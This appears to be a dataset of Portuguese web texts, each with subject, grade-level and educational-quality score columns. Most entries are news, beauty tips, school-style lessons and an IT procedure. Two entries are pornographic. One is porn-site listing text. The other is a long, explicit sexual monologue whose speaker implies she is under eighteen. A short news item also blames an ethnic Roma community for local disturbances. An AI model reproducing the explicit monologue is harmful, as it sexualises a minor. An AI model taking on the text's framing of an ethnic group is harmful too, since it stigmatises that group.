+"Na ocasião, foi solicitada a urgente elaboração do projeto técnico para concluir a pavimentação de 25 quilômetros da PE-615 no trecho entre o distrito de Nascente, e o povoado de Socorro",original,original,original,original,1,0.2
+"Arquivos Vídeos Caseiros - Só Casadas - Fotos Amadoras, Caseiras, Porno , Sexo , Vídeos Amadores Gratis
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+Novinha chupando pauzudo na cabine erotica, olha que tesão de moreninha gata demais fazendo boquete para o dotado na casa de swing.
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+Filmando a esposa branquinha na praia pelada
+Filmando a esposa branquinha na praia pelada, olha ai que show de exibicionismo dessa casadinha mostrando seus peitinhos lindos em publico.
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+Exibindo a esposa de maiô no parque aquático
+Exibindo a esposa de maiô no parque aquático, olha ai que tesão que essa morena da bunda gostosa estava, comportada mais chamando a atenção de todos.
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+Esposa branquinha chupando pau do comedor
+Esposa branquinha chupando pau do comedor, ela fazendo um vídeo para o marido corno caprichando no boquete antes de dar aquela trepada.
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+Esposa chupando o pau grande do marido
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+"Desculpem a demora desse post.. mas é que tava na correria com probleminhas de saúde e a inspiração foi junto.. mas prometo recompensar essa demora esses próximos dias...
+Seguinte... vamos falar sobre os nossos bonitos? Quem não ama ter cílios grandes, médios, pequenos, postiços?
+Vou falar um pouquinho de como cuidar deles pós maquiagem e os tipos de rímel.
+Cílios, quem são eles e para que servem??
+Assim como os fios de cabelo, os cílios também passam por ciclos de crescimento, transição, enfraquecimento e queda.
+É um processo natural, mas quando em exagero é preciso entender o que está por trás do problema. A causa mais básica de perda excessiva de cílios está ligada à maquiagem. Há pessoas que são incompatíveis com alguns produtos, ao menor sinal de perda dos cílios, sem nenhum problema de saúde agregado, vale mudar a máscara de cílios.
+Além desse fator que atinge a maioria dos casos, alergias e efeitos colaterais de alguns tratamentos de saúde também podem levar à queda dos fios, sendo necessário uma investigação médica mais profunda para identificar a causa.
+Uma das causas é a mascara de cílios a prova d'água, que na hora de retirar o produto acabam danificando os cílios ocorrendo assim a queda.
+NÃO durma com maquiagem (aplique bastante demaquilante para remoção total da sua máscara de cílios); NÃO use com muita força o seu curvex (20 segundos são mais que suficientes e não precisa de força); CUIDADO com maquiagens antigas podem estar com o prazo de validade vencido. (NÃO USE MAQUIAGEM VENCIDA, JOGUE FORA!!!).
+MÁSCARAS DE CÍLIOS! Quem vive sem? EU não, e você?
+Para boa parte de nós mulheres esse é o item essencial no estojo de maquiagem né, sabemos que existe várias texturas, formatos de cerdas e até mesmo os diferentes efeitos.
+1. PRETO: o mais básico de todos. Sempre dá um up no olhar e escurece os fios.
+2. TUBULAR (tube máscara): com fibras e muita tecnologia, ele cria uma espécie de tubo em volta de cada cílio e, por isso, dura mais, alonga e dá volume.
+3. MARROM: escurece os fios, mas deixa o olhar mais leve e natural do que o rímel preto.
+4. TRANSPARENTE: o mais discreto de todos, serve para modelar e dar textura aos fios. Também pode ser usado para pentear a sobrancelha e deixá-la bem definida.
+5. COLORIDOS: cores como o roxo, verde e azul criam um look diferente e divertido para os olhos. O legal é passar várias camadas só do rímel colorido – nada de preto por baixo.
+6. COM UM LADO BRANCO E O OUTRO LADO PRETO: indicado para quem tem poucos cílios, a parte branca serve para aumentar o volume. Aplique uma camada do rímel branco, espere secar um pouco e depois finalize com o rímel preto.
+7. À PROVA D'ÁGUA: é mais difícil de passar mas se fixa por horas, firme e forte. A melhor maneira de removê-lo é com MUITO demaquilante à base de óleo. E cuidado: os cílios ficam muito duros e podem se quebrar facilmente.
+1. DE CERDAS CURTAS E GROSSAS: retêm o produto entre as cerdas e aumentam o volume dos fios.
+2. DE CERDAS FINAS E DURAS: quase como um pente, elas alongam os cílios sem que se formem “gomos”.
+4. DE CERDAS ALTERNADAS: definem beeem os cílios, por isso é indicado para quem tem fios ralos e curtos.
+5. ESCOVINHA: o modelo mais tradicional, perfeito para dar volume aos fios.
+6. PENTE: mais recentes, os aplicadores em pente têm a função de pentear os cílios enquanto se aplica o produto. Os fios se alongam, ficam definidos e não grudam uns nos outros.
+7. ESCOVINHA + PENTE: a junção dos dois tipos só podia ser para... alongar e dar volume, ao mesmo tempo! Geralmente, esse aplicador tem um lado com cerdas mais grossas, para dar volume, e outro com o pente, mais durinho, que alonga.
+8. ESCOVA EM FORMATO DE ""C"": indicado para quem tem os cílios caidinhos, já que ajuda a curvá-los para cima.
+9. EM FORMA DE "" OURIÇO"": esse aplicador, super diferente, permite que você passe o produto em qualquer ângulo, do jeito que bem entender. Assim nenhum cílio de fora.
+10. CERDAS COLORIDAS: servem para que você veja, ali, se o produto está r...",original,original,original,original,2,0.4
+"Você já parou para pensar em como os números estão presentes em cada aspecto da nossa vida? Desde a hora que acordamos até o momento de dormir, eles nos acompanham, organizando e dando sentido ao mundo ao nosso redor. Neste texto, vamos embarcar em uma aventura para desvendar os segredos dos números e das operações básicas, mostrando como a matemática pode ser fascinante e útil em situações do cotidiano.
+
+Imagine que você e seus amigos decidem organizar uma festa surpresa para um colega. Para que tudo saia perfeito, é preciso calcular a quantidade de comida e bebida, dividir as tarefas e definir um orçamento. A matemática entra em cena para te ajudar a resolver cada um desses desafios! Ao estimar quantos salgadinhos cada pessoa vai comer (adição e multiplicação), ao dividir o valor total da festa entre os participantes (divisão) e ao controlar os gastos para não ultrapassar o limite (subtração), você estará aplicando os conceitos básicos da matemática de forma prática e divertida.
+
+As operações básicas – adição, subtração, multiplicação e divisão – são como as ferramentas de um artesão. Cada uma delas tem um propósito específico e, quando combinadas, nos permitem resolver problemas complexos. A adição nos ajuda a juntar quantidades, como somar o número de figurinhas repetidas para trocar com os amigos. A subtração nos permite encontrar a diferença entre valores, como calcular o troco ao comprar um doce na padaria. A multiplicação é uma forma rápida de somar várias vezes a mesma quantidade, como calcular o número total de cadeiras em uma sala com várias fileiras. E a divisão nos ajuda a repartir algo em partes iguais, como dividir um bolo entre os convidados de uma festa.
+
+Mas a matemática não se resume apenas a números e contas. Ela também nos ensina a pensar de forma lógica e organizada, a resolver problemas de forma criativa e a tomar decisões mais informadas. Ao aprender a usar a matemática, você estará desenvolvendo habilidades que serão valiosas em todas as áreas da sua vida, desde os estudos até o trabalho e as relações pessoais.
+
+Agora, pense um pouco: como você usou a matemática hoje? Quais problemas você resolveu usando os números e as operações básicas? A matemática está muito mais presente em nossa vida do que imaginamos. Ao entendermos como ela funciona, ganhamos o poder de transformar o mundo ao nosso redor e de alcançar nossos objetivos com mais facilidade. Que tal começar a enxergar a matemática com outros olhos e descobrir a sua beleza e utilidade no dia a dia? A aventura está apenas começando!",Matemática,Números e operações básicas,anos finais (6º ao 9º ano),"O trecho recebe 5 pontos por apresentar alto valor educacional e adequação ao ensino fundamental. Introduz a matemática de forma contextualizada, utilizando exemplos práticos e cotidianos. Explica as operações básicas de maneira clara e relacionável, incentivando o raciocínio lógico e a aplicação dos conceitos. O texto é bem escrito, coerente e adequado ao nível de compreensão dos alunos do ensino fundamental.",5,1.0
+"As raízes dessa data têm início durante a I Revolução Industrial iniciada na Inglaterra e que se alastrou por vários países da Europa no século XVIII. Mas foi em 1886 em Chicago que houve o 1° de maio dos trabalhadores devido a uma greve geral, onde operários de um parque industrial paralisaram as fábricas reivindicando melhores condi��ões de trabalho, sendo a principal a redução da jornada, que chegava a 17 horas, para 8 horas diárias, e foram brutalmente reprimidos pela polícia.
+No Brasil, em 1924 o 1° de Maio foi instituído como o Dia do Trabalhador graças à luta da classe operária e do movimento sindical em um país que estava se industrializando e negligenciava o bem estar e a dignidade dos trabalhadores. Em 1943 o governo Vargas sofria forte pressão de sindicatos e trabalhadores pela regulamentação das relações de trabalho. Naquele momento histórico o movimento sindical era muito forte e organizado. Pressionado, o governo Vargas acabou por outorgar a Consolidação das Leis Trabalhistas, estabelecendo garantias, como salário mínimo, décimo terceiro, carga horária, direito a férias e descanso remunerado.
+Apesar das conquistas dos trabalhadores ainda há muito pelo que lutar. Atualmente governo brasileiro aprovou a reforma da previdência, reforma trabalhista, terceirização e instituiu o contrato verde e amarelo. Essas são medidas que isentam os patrões e fazem com que os brasileiros percam os seus direitos e sejam submetidos a condições degradantes durante o trabalho.
+Essas alterações são responsáveis por impactos profundos na economia e na estrutura social, trazendo precarização, desemprego em massa e a fome em boa parte da população.
+Por esses motivos, precisamos seguir firmes na luta para impedir que a precarização do trabalho se acentue ainda mais na população brasileira e na América Latina.
+O Sindicato das Advogadas e Advogados do Estado de São Paulo sempre esteve ao lado dos trabalhadores e desde sua fundação, em 1952, por meio da organização de uma advocacia trabalhista combativa e propositiva, vem lutando para barrar os retrocessos e garantir que a Constituição Federal seja cumprida, com garantias de dignidade aos trabalhadores, e contra a desregulamentação nas relações de trabalho.",original,original,original,original,4,0.8
+"Unicef reclama um Conselho que proteja as crianças na Rede | TIC, Educação e Web
+← SEGURANET – Vem aí o novo sítio dedicado à segurança na Internet
+Web 2.0. O utilizador, o novo rei da Internet →
+Unicef reclama um Conselho que proteja as crianças na Rede
+Publicado em Novembro 26, 2007 por Jorge Borges
+Convite à prostituição, corrupção de menores e conselhos para anorécticas e bulímicas são algumas das atrocidades encontradas em sítios web destinados a crianças e jovens e que aparecem no documento Autorregulación?… E mais. A protecção e defesa dos direitos da infância na Internet. O estudo foi realizado por investigadores da Universidad Carlos III de Madrid -e nele participaram Agustín Luis G. Matilla e Tíscar Lara- por encomenda do Comité Espanhol da Unicef.
+A suas observações foram tão concludentes, que a agência das Nações Unidas que vela pelo cumprimento dos direitos das crianças alteraram a sua posição inicial -pedia exclusivamente a auto regulação do sector- e agora solicita outras medidas de protecção, como um Conselho da Internet que vigie os conteúdos ilegais e nocivos contra os menores. Este organismo teria capacidade para fechar e sancionar aquelas páginas cujos conteúdos atentem contra a integridade do menor.
+Para a Unicef, que considera tão importante o direito à informação dos menores como o seu direito a serem protegidos, o estudo mostra uma realidade que aconselha a actuar a três níveis: a auto regulação do sector, a legislação e a formação das famílias e dos utilizadores. O mais inovador do trabalho é o método seguido pelos investigadores, que navegaram durante seis meses (de Julho a Novembro de 2006), do ponto de vista de uma criança, por diferentes sítios web e analisaram alguns chats e fóruns. Também pesquisaram em diversos motores mediante a introdução de palavras chave. “Não só há numerosos riscos, conteúdos e práticas inadequadas na Internet, como estas ameaças também acontecem em páginas e serviços dirigidos a meninos e meninas”.
+Um dos exemplos ilustra a presença de “predadores adultos” em chats. Ao introduzir a expressão “chat crianças” no Google, a primeira opção entre mais de dois milhões de páginas seleccionadas remete a “Aprende jogando/ Um Chat para pequenos gigantes”. Durante a observação, os investigadores detectaram a presença de um adulto que em duas ocasiões tentou recolher dados pessoais de duas meninas de 10 e 11 anos, em nenhuma com êxito.
+Os fóruns são o lugar onde mais irregularidades se registaram, com ligação a títulos de sexualidade explícita, alguns de pornografia infantil, e outros, directamente, anúncios de adultos à procura de menores para encontros sexuais (alguns deles pagos). A procura por palavras chave não tem melhor sorte. Termos como ‘jogos’, ‘bonecas’, ‘juguetes’, ‘meninas’, ‘amigas’, ‘baixar música’ ou ‘videojogos’ podem levar a criança a “páginas verdadeiramente aberrantes”.
+A extrema violência de alguns dos videojogos disponíveis na Rede, a publicidad enganosa ou os abusos de prácticas comerciais para captar dados pessoais através de formulários de registo são outros extremos destacados no documento.
+No capítulo de possíveis soluções, o documento cita ferramentas como a combinação de ‘filtros software-catalogação de conteúdos’ ou os chamados portais de navegação segura. Também que haja moderadores em todos os chats e fóruns dirigidos a crianças e adolescentes, ou o estabelecimento de mecanismos eficazes de certificação da idade.
+LOLA LARA – Madrid – 26/11/2007
+Esta entrada foi publicada em Educação, Formação, Internet, Recursos, Segurança na Internet, Web. ligação permanente.
+Manual da Literacia Digital da Internet
+A biblioteca como motor de inclusão social e digital das suas comunidades",original,original,original,original,4,0.8
+"Maximalismo: a nova tendência na decoração de ambientes
+Início » Casas » Maximalismo: a nova tendência na decoração de ambientes
+Esse estilo é muito particular, pois é a tendência que permite misturar todos os estilos e obter uma combinação perfeita.
+O maximalismo ressurgiu das cinzas e agora é apresentado como a antítese do minimalismo. Leva como lema a frase muito conhecida da estilista Donatella Versace: “Mais nunca é suficiente”.
+O maximalismo é baseado em inconsistências que se encaixam perfeitamente, na combinação de estilos, no equilíbrio fora dos padrões estéticos.
+Neste artigo, falaremos sobre o maximalismo e como ele se tornou uma tendência atual.
+Você sabe o que é maximalismo?
+Como podemos imaginar apenas lendo o seu nome, trata-se da antítese do minimalismo.
+Lembre-se de que este último é um estilo caracterizado pela pureza dos seus elementos e linhas. Sendo assim, é um estilo muito sóbrio que dispensa o que não é estritamente necessário.
+Por isso, encontramos quartos simples e bastante limpos em termos de cores, onde a luz e os móveis, quase que saídos de outro planeta, são os principais protagonistas.
+Em resposta ao minimalismo, surgiu o maximalismo. É um estilo baseado nos detalhes barrocos e, portanto, muito ornamentados e com cores vibrantes.
+Uma das características desse estilo, inspirado no estilo de Versalhes, é a combinação de estilos. Assim, encontramos móveis muito antigos com outros elementos mais futuristas, o que resulta em ambientes ricos em texturas e cores com muita personalidade e expressividade.
+Nesse estilo, não podem faltar o veludo, as estampas florais, os drapeados, o papel de parede e nem a variedade e contraste de cores.
+Além disso, a luz neste estilo desempenha um papel muito importante, porque ela é tratada como um recurso de configuração teatral. Sem dúvida, traz aquele toque de drama para o ambiente através de candelabros e lustres de cristal.
+O maximalismo na sua casa: alguns conselhos
+Obviamente, adotar essa tendência e levá-la a cabo não é nada fácil.
+Também não é para todos, porque é um estilo muito peculiar, voltado especialmente para pessoas que não se importam com o que vão dizer ou com as “normas estéticas”.
+É um estilo com um ar de ostentação e pretensões que deixam os preconceitos de lado.
+Um perfeito caos:
+No começo, você pode se confundir um pouco, parece que para alcançar o maximalismo você tem que acumular muitas coisas e depois misturá-las no mesmo cômodo.
+Isso está bem longe da realidade. Embora esse estilo quebre todas as regras e vise, acima de tudo, ser uma marca de identidade, também procura um equilíbrio no meio de tanto “caos”.
+Para isso, busque combinar as peças que você gosta, que você se identifica e que não são completamente integradas umas com as outras.
+Lembre-se de que esse é um estilo eclético em que a criatividade e a liberdade prevalecem.
+Para que esse estilo fique perfeito em um ambiente, deixe sempre um espaço entre um objeto e outro, e lembre-se: cheio sim, mas abarrotado não.
+Você pode misturar não só as cores, mas também estampas. Porém, faça tudo com um certo cuidado.
+Quanto à paleta de cores mais comuns no maximalismo, podemos dizer que todas as cores vibrantes têm espaço. No entanto, as cores que predominam são o roxo e o verde-limão.
+Como dissemos antes, esse estilo se baseia na decoração barroca e de Versalhes. Mesmo que seja assim, não abuse do dourado.
+Outra coisa que podemos misturar neste estilo são as texturas: veludo com tecido liso ou couro.
+Os estilos também se misturam para formar composições únicas e com muita personalidade.
+O maximalismo combina e se ajusta perfeitamente com o estilo industrial, vintage, moderno ou clássico.
+As paredes não escapam do maximalismo, na realidade, podem se tornar as principais protagonistas.
+Existem, principalmente, duas opções:
+Deixe as paredes lisas: nesse caso, preencha-as com quadros de molduras grandes e coloridas.
+Papel de parede: procure usar uma estampa eclética e chamativa. Isso será o suficiente...",original,original,original,original,2,0.4
+"O Registro de Continuidade é um processo que passa por várias fases. A terceira fase deste processo, chamado de Implementação onde será definido o Plano de Continuidade, o Planejamento e a Estratégia de Testes. Esta funcionalidade permite cadastrar o Plano de continuidade.
+Antes de começar
+Pressupõe a existência de um serviço definido num processo de Gerenciamento de Portfólio e Catálogo.
+É fundamental primeiramente ter o Registro de Continuidade já cadastrado, a política e o projeto de continuidade do serviço já definidos, além de ter o escopo, as funções vitais, a análise de impacto no negócio, a avaliação de riscos e a estratégia de continuidade já registradas.
+É necessário o cadastro prévio da ameaça e da categoria de ameaça e vincular a categoria de ameaça a ameaça cadastrada. Também é essencial cadastrar, anteriormente, o risco e a categoria de risco.
+Igualmente, é crucial cadastrar as ações automáticas de Incidente, requisição e procedimentos referente ao Gerenciamento de Eventos.
+Procedimento
+Acessar a funcionalidade através da navegação no menu principal Processos > Gerência de Continuidade > Continuidade;
+Localizar a continuidade do qual deseja vincular o plano de continuidade e clicar no botão ""Avançar"";
+Na área Implementação, clicar em ""Plano de Continuidade"";
+Preencher os campos necessários;
+Para vincular um conhecimento, clicar em ""Relacionar Conhecimentos"" para pesquisar e vincular o conhecimento desejado;
+Para vincular medidas de recuperação ao plano de continuidade, clicar em ""Relacionar Medidas de Recuperação"" para pesquisar e vincular as medidas desejadas;
+Para anexar algum arquivo, clicar no botão ""Anexar"" e sem seguida ""Adicionar o arquivo"" para vincular o arquivo;
+Clicar no botão ""Gravar"" para efetuar a operação.
+O que fazer a seguir
+Após de cadastrar o plano de continuidade é necessário executar a seguinte ação: cadastrar o planejamento organizacional da continuidade sendo esta ação parte da terceira fase do registro completo da continuidade, chamada de Implementação.",original,original,original,original,1,0.2
+"Oi, meu querido internauta… Meu nome é Maria Lúcia, mas gosto que me chamem de Malu. Sabe por que? É que assim rima com a parte do meu corpo que mais me da prazer, sabe…? Hoje estou disponível só para você, gato internauta. Pára um pouco de teclar esse computador e olha para mim. Estou aqui para realizar os teus desejos… eu sei muito bem o que você quer de mim, seu safadinho… Que tal, não sou bonitinha? O que você acha de mim? Quantos anos acha que eu tenho? Vinte? Dezoito? Ha, um pouquinho menos… mas garanto que eu sei fazer coisas que mulheres com mais idade ainda nunca experimentaram… Fique aí sentadinho na frente do teu micro que eu cuido de tudo, gatão… Está ficando quente, não? Acho que vou tirar a roupa, você deixa? Primeiro a blusinha, depois a calça… Pronto.. Que tal estou, assim de calcinha e soutien? Gosta? Vou dar uma voltinha assim… Hum, você não tira os olhos do meu bumbum, ein? Já sei o que você quer, é o que todos vocês querem… Você gostaria muito de me ver fazendo strip, não é? Tá bom, seu taradinho… Você quer me ver dançando enquanto vou tirando o soutien, né? Pronto, já tirei… Então, gostou dos meus peitinhos? Não são muito grandes mas são gostosinhos, né? Você gosta quando eu encosto eles na tua cara? Isso, apalpa eles… Quer dar um beijinho neles? Eu deixo sim… Pode dar uma chupadinha sim, se quiser… Ummm… Assim… Ai, que chupão gostoso… E essa mão boba na minha bundinha, pára com isso… Não, não vou tirar a calcinha ainda… Agora não, só quando chegar a hora… Assim é mais gostoso, você fica mais tentado… Vira esse banquinho para cá que vou me ajoelhar na tua frente. Você me chupou e deixou meus biquinhos durinhos… será que você não tem alguma coisa para eu chupar e deixar durinho também? Por exemplo, esse volume no meio das tuas pernas… Posso brincar com ele? Vou tirar o teu cinto e abaixar tua calça, assim. Ai, parece que tem uma cobra enorme dentro da tua sunga… Deixa eu ver? Hum, que salsichão você tem, com um cabeção gordo e vermelho que nem um pirulito… Sabe que adoro chupar pirulito? Acho que vou fazer isso mesmo. Primeiro vou te lamber esse cabeção com a pontinha da língua. Depois vou mais pra baixo, lambendo todo o comprimento desse salame delicioso. Umm… E esse saco peludo com dois ovinhos dentro, posso lamber também? Ai, vou chupar um desses ovinhos, parece ovinho de Páscoa… (chupo chupo chupo) Não é gostoso? É impressão minha ou esse salsichão tá ficando cada vez maior e mais duro? Acho que vou experimentar botar esse cabeção na boca e dar uma chupadinha… Um… (chupo chupo chupo) Ai, que rola grossa, quase não cabe na minha boca… Mas sou gulosa e vou engolir inteirinho esse cacetão (glub glub glub) assim, todinho… Umm… Como é gostoso chupar pica, principalmente quando ela cresce e engorda dentro da minha boca assim… Umm… Isso quero o teu caralho bem grandão (chupo chupo chupo)… bem grosso (chupo chupo chupo)… bem duro para mim (glub glub glub) … Pronto, ele está duro feito pedra, prontinho para me comer… Sabe o que eu vou fazer agora? Vou sentar no teu colo e dar uma reboladinha… Vou esfregar meu bumbum no teu pau… Não é gostoso? Ai, que coisa dura e quente roçando na minha bundinha… Isso, apalpa meus peitinhos com uma mão e bota a outra aqui na frente, dentro da minha calcinha… Está sentindo o molhadinho da minha xaninha? Bolina assim, meu gato… Ai que gostoso… Agora vou puxar a calcinha de lado para você encostar a cabeça do teu pinto na minha xotinha… Olha como tá vermelhinho esse cabeção… Abre os lábios da minha buceta com teus dedos e mete… Isso, mete gostoso… Ai… Vou subindo e descendo, subindo e descendo e a tua piroca vai entrando cada vez mais fundo… Mete na minha bucetinha, mete mais… Ai, me fode assim, me fode gostoso… Ai… (fode fode fode) Ai, que delícia, que tesão… Como é bom trepar com você… Agora tira que eu tenho uma sobremesa deliciosa para você… Isso mesmo… Chegou a hora… Deixa eu abaixar devagarzinho a minha calcinha… Assim, pronto, que tal? Você gostou do meu bumbum, ein? Está do...",original,original,original,original,0,0.0
+"Os distúrbios causados nas Piscinas Municipais de Estremoz por habitantes de etnia cigana do denominado Bairro das Quintinhas, e os consequentes prejuízos causados naquele espaço de lazer, continuam na ordem do dia e podem mesmo ter desencadeado a tomada de novas medidas por parte da autarquia estremocense em relação à comunidade cigana instalad...",original,original,original,original,1,0.2
+"Com a decisão da Justiça, 246 planos estão proibidos de ser vendidos
+A medida não afeta clientes que usam atualmente os planos punidos.
+A determinação do STJ, comunicada nesta quarta-feira à ANS, sobrepõe-se a liminares dos tribunais regionais federais (TRF) da 2ª Região (no Rio de Janeiro) e da 3ª Região (em São Paulo), que questionaram o sistema de avaliação da agência reguladora e determinaram a suspensão da punição aplicada às operadoras.
+Para o ministro e presidente do STJ, Felix Fischer, as liminares anteriores violam o princípio da presunção de legitimidade dos atos administrativos trazendo “risco de grave lesão à ordem pública e à saúde de uma imensa coletividade”.
+Ele acrescentou que não cabe ao Judiciário estabelecer a forma como devem ser executadas as normas que regulamentam a atividade da agência.
+“Desta forma, tenho que as decisões impugnadas alteraram aspectos de procedimentos internos da agência que, certamente, nasceram para proteger com maior eficácia o consumidor em importante aspecto da vida, qual seja, a saúde”, disse Fischer, em nota.
+No mesmo dia do anúncio da punição, a FenaSaúde ingressou com ação judicial alegando que identificou ‘equívocos no processo de monitoramento dos prazos de atendimento aos beneficiários de planos’. Ainda no dia 20 de agosto, o TRF da 2ª Região deferiu liminar determinando revisão das reclamações usadas pela ANS para avaliar a proibição da venda de cada plano. Portanto, até a última terça-feira (8) a punição não estava valendo.
+Para ler a notícia no site Diário Catarinense, clique aqui.",original,original,original,original,1,0.2
+"Já parou para pensar que a leitura é como uma chave mágica que abre portas para mundos infinitos? Ler não é apenas juntar letrinhas e formar palavras, é muito mais do que isso! É embarcar em uma aventura, conhecer personagens incríveis, aprender sobre lugares distantes e, principalmente, entender o que o autor quis nos contar. Mas como desvendar esses segredos e nos tornarmos verdadeiros exploradores de textos?
+
+Primeiramente, é fundamental entender que cada texto possui um objetivo. Alguns querem nos informar sobre algo, como uma notícia sobre a descoberta de uma nova espécie animal na Amazônia. Outros querem nos divertir, como um livro de aventuras cheio de peripécias. E ainda existem aqueles que querem nos convencer de algo, como um anúncio que busca nos mostrar as vantagens de um produto. Identificar o objetivo principal do texto é o primeiro passo para uma boa interpretação.
+
+Depois, é importante prestar atenção aos detalhes. As palavras-chave, as frases que se repetem, o tom utilizado pelo autor (ele está sério? Engraçado? Emocionado?) – tudo isso contribui para a construção do significado do texto. Imagine que você está montando um quebra-cabeça: cada peça é uma informação importante, e juntando todas elas, você consegue ver a imagem completa.
+
+Um exemplo prático: imagine que você está lendo uma postagem de um blog sobre a importância de cuidar do meio ambiente. O autor usa frases como “nosso planeta está em perigo” e “precisamos agir agora”. Essas frases nos mostram que ele está preocupado com a situação e quer nos alertar sobre a urgência de tomarmos atitudes para proteger a natureza. Ao percebermos isso, a nossa interpretação do texto se torna mais profunda e significativa.
+
+Além disso, n��o tenha medo de usar o dicionário! Se você encontrar uma palavra desconhecida, não hesite em pesquisar o seu significado. Ampliar o seu vocabulário é como adquirir novas ferramentas para a sua caixa de leitura, que te ajudarão a desvendar cada vez mais segredos textuais. 
+
+E o mais importante: leia com atenção e faça perguntas! O que o autor quis dizer com isso? Por que ele usou essa palavra? Concordo com o que ele está falando? Fazer perguntas e buscar as respostas dentro do texto é uma ótima forma de aprofundar a sua compreensão e desenvolver o seu senso crítico. A leitura crítica é um superpoder que te permite analisar informações, formar suas próprias opiniões e não ser facilmente enganado.
+
+Lembre-se: a interpretação de texto é uma habilidade que se desenvolve com a prática. Quanto mais você lê, mais fácil se torna entender o que está por trás das palavras. Então, que tal começar agora mesmo a explorar novos mundos através da leitura? Abra um livro, um artigo, um blog, e embarque nessa aventura! E ao terminar a leitura, reflita: o que você aprendeu? O que você sentiu? O que você pensa sobre o assunto? As respostas para essas perguntas te mostrarão o quão longe você pode chegar com a magia da interpretação textual.",Português,Leitura e interpretação de texto,anos finais (6º ao 9º ano),"O texto aborda a importância da leitura e interpretação textual de forma didática, utilizando exemplos práticos e linguagem acessível, o que o torna adequado para o ensino fundamental. Explica o objetivo do texto, a atenção aos detalhes e o uso do dicionário, incentivando a leitura crítica e reflexiva. A progressão da análise textual, aliada à linguagem simples, garante o alto valor educacional e a adequação ao currículo escolar.",5,1.0
+"Você já se sentiu como um detetive tentando desvendar um mistério? Resolver problemas de matemática é muito parecido com isso! Em vez de pistas escondidas em cenas de crime, temos números e informações que, quando organizados e compreendidos, revelam a solução. Mas como se tornar um mestre na resolução de problemas? Vamos descobrir juntos!
+
+Primeiro, precisamos entender que um problema de matemática é uma situação que exige uma solução, usando o que já sabemos sobre números, operações e conceitos matemáticos. Não se assuste com as palavras! Um problema pode ser algo tão simples como: ""Se tenho 15 balas e divido entre meus 3 amigos, quantas balas cada um recebe?"" ou algo mais complexo como calcular a área de um terreno para construir uma casa.
+
+O segredo está em seguir alguns passos. O primeiro é LER com atenção. Parece óbvio, mas muitos erros acontecem porque não entendemos o que o problema está pedindo. Sublinhe as informações importantes, como os números e as perguntas. No exemplo das balas, os números importantes são 15 e 3, e a pergunta é ""quantas balas cada um recebe?"".
+
+O segundo passo é PLANEJAR. Que operação matemática devo usar? Adição, subtração, multiplicação ou divisão? No nosso exemplo, estamos dividindo, então usaremos a divisão. Mas e se o problema dissesse que você ganhou mais 5 balas? Aí, depois de dividir, você teria que somar 5 à resposta!
+
+O terceiro passo é EXECUTAR o plano. Faça as contas com cuidado. 15 dividido por 3 é igual a 5. Então, cada amigo recebe 5 balas. Fácil, né?
+
+O quarto e último passo é VERIFICAR. A resposta faz sentido? No nosso exemplo, 5 balas para cada amigo parece razoável. E se tivéssemos chegado a um número negativo ou um número muito grande, como 50? Aí, saberíamos que erramos em algum lugar e precisaríamos revisar.
+
+Vamos a outro exemplo? Imagine que você está ajudando seus pais a organizar um churrasco. Eles precisam comprar carne para 20 pessoas, e cada pessoa come, em média, 300 gramas de carne. Quantos quilos de carne eles precisam comprar?
+
+Primeiro, lemos com atenção. 20 pessoas, 300 gramas por pessoa. Precisamos saber quantos quilos no total.
+
+Segundo, planejamos. Vamos multiplicar o número de pessoas pela quantidade de carne por pessoa: 20 x 300 = 6000 gramas. Depois, precisamos transformar gramas em quilos. Sabemos que 1 quilo tem 1000 gramas, então dividimos 6000 por 1000: 6000 / 1000 = 6 quilos.
+
+Terceiro, executamos as contas, como já fizemos.
+
+Quarto, verificamos. 6 quilos de carne para 20 pessoas parece uma quantidade razoável para um churrasco. Se desse um número muito pequeno, como 1 quilo, saberíamos que algo está errado.
+
+Resolver problemas é uma habilidade que se desenvolve com a prática. Quanto mais você praticar, mais fácil e divertido se tornará. Não tenha medo de errar! Os erros são oportunidades de aprendizado. E lembre-se: a matemática está em todos os lugares, desde o número de balas que você divide com seus amigos até a quantidade de carne para um churrasco! Que tal começar a procurar problemas matemáticos no seu dia a dia?",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima (5) por apresentar um excelente valor educacional, sendo perfeitamente adequado para o ensino fundamental. Utiliza uma linguagem clara e envolvente, introduzindo o conceito de resolução de problemas matemáticos de forma lúdica e acessível. Apresenta um passo a passo bem estruturado, com exemplos práticos e relevantes para o cotidiano dos alunos, incentivando a prática e a reflexão sobre os resultados. Não há informações irrelevantes ou complexas.",5,1.0
+"Colisão de estrelas de Nêutrons produziu parte do ouro que hoje temos na Terra - Galeria do Meteorito
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+Colisão de estrelas de Nêutrons produziu parte do ouro que hoje temos na Terra
+Assim como o ouro, parte de outros elementos pesados como urânio e platina também podem ter vindo dessa grande colisão de estrelas massivas
+Há cerca de um século, os cientistas acreditam que os elementos mais pesados do Universo são o resultado da nucleossíntese estelar - processo pelo qual os átomos se fundem no interior das estrelas, formando elementos cada vez mais pesados.
+A nucleossíntese estelar explica não apenas a criação dos elementos mais pesados além do hidrogênio / hélio, como também dos materiais que formaram os planetas, incluindo a Terra.
+Recentemente, cientistas sugeriram ainda que os elementos mais pesados do Universo, como ouro e platina, seriam formados após a colisão de estrelas binárias.
+Cristais azuis encontrados em meteorito revelam passado violento do Sol
+Agora, um estudo publicado na revista Nature, liderado pelo professor Szabols Márka, da Universidade de Columbia, e pelo professor Imre Bartos, da Universidade da Flórida, nos revela que a colisão de duas estrelas de nêutrons, ocorrida a bilhões de anos atrás, produziu uma quantidade considerável dos elementos mais pesados que temos aqui na Terra, incluindo ouro, platina e urânio.
+Ilustração artística da colisão entre estrelas de nêutrons.
+Créditos: NASA / GSFC
+De acordo com os cientistas, asteroides e cometas foram formados pelo material remanescente do Sistema Solar. Quando chegam aqui na Terra como meteoritos, eles carregam traços de isótopos radioativos (variantes específicas de um elemento químico) que os cientistas conseguem rastrear quando foram formados. Isso também ajuda a entendermos quais materiais existiam no Sistema Solar há bilhões de anos.
+O Sol está puxando os planetas e vai engolir todos eles no futuro?
+No estudo, Szabols e Imre fizeram simulações da Via Láctea e compararam os resultados com a composição de meteoritos encontrados aqui na Terra. Eles descobriram que uma colisão entre estrela de nêutrons deve ter ocorrido em nossa vizinhança cósmica, numa distância média de 1.000 anos-luz de nosso Sistema Solar, a cerca de 4,65 bilhões de anos atrás!
+Nessa época, nosso Sistema Solar ainda não existia, pois era apenas uma grande nuvem de poeira e gás. Aproximadamente 100 milhões de anos depois, a Terra e os outros planetas do Sistema Solar se formariam ao redor do Sol que acabara de se formar.
